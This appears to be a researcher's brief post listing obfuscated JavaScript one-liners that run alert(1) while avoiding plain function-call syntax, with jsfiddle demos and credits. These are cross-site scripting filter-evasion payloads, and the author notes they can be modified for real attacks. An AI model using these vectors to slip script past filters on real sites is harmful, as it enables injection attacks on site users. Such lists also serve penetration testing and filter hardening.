This was a list that I use often has a reference tool that I decided to publish. If you want to contribute your welcome, just tweet me at @dsopas or something. Critics are always welcome!
BTW: the result is always to alert the number 1, if you want to do a real attack scenario just modify the vectors above.
self[0X10f8809.toString`36`]`1`PS: You can also use top instead of self to cut down 1 char.
Online: https://jsfiddle.net/hx7kypv6/ by @aemkei
x=alert,x`1`Online: https://jsfiddle.net/0bp4b2mf/ - don't know really...
Object.bind(null,alert)()(1)Online: https://jsfiddle.net/w99tv481/ by @garethheyes
atob.constructor`alert\`1\````Online: https://jsfiddle.net/r4tdhs1L/ by @aemkei
Function('x=alert`1`','y')()Online: https://jsfiddle.net/qawpegx9/ by @garethheyes
/1/[Symbol.replace]('1',alert)Online: https://jsfiddle.net/7m9ex6L8/ by @garethheyes
Array.from([1],alert)Online: https://jsfiddle.net/ck5v3zgk/ by @garethheyes
